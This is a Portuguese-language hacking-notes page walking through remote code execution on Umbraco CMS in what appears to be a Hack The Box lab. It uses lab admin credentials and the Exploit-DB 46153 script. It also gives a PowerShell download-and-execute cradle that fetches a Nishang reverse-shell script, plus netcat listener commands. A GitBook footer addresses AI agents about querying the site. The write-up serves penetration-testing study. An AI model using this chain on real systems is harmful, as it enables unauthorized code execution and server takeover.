> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/umbraco-cms-exploitation.md).

# Umbraco

## Vulnerabilidade de RCE (Umbraco CMS)

Um painel de administração é encontrado; teste a autenticação como o usuário administrador:

`admin@htb.local:baconandcheese`

<figure><img src="/files/fee2366cce8623ee18fcf8ef2bf8c868527a4c45" alt=""><figcaption></figcaption></figure>

O acesso é concedido.

<figure><img src="/files/ce97ac456779658fd85fc0b91b2f5097beaf8ba9" alt=""><figcaption></figcaption></figure>

Pesquisar `Searchsploit` para este CMS e encontre um script de RCE do Umbraco.

<figure><img src="/files/bb2d1897637f9217aaee5b805d35297fe94af401" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Modifique os parâmetros de login, senha e host no script.

<figure><img src="/files/67efd622c81c67be8e9f9ad98f4b75ef21c12ffb" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade com ping:**/ Execute este comando contra o servidor e ouça com tcpdump.

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/671fe62650085fdb3735986ca62b2d2bf49809e9" alt=""><figcaption></figcaption></figure>

Assim que a execução do comando for confirmada, hospede o `PS.ps1` script na máquina do atacante.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Adicione a seguinte linha ao final do script:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/2811844a7ea9a69dbdb718260c3f81507a5cbf7b" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` com um servidor web:

```bash
python3 -m http.server 80
```

Em seguida, modifique o comando para apontar para o servidor web do atacante:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Por fim, inicie um listener na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1926daa985ceffa62b6cd3a5afc6295d447cb8c2" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
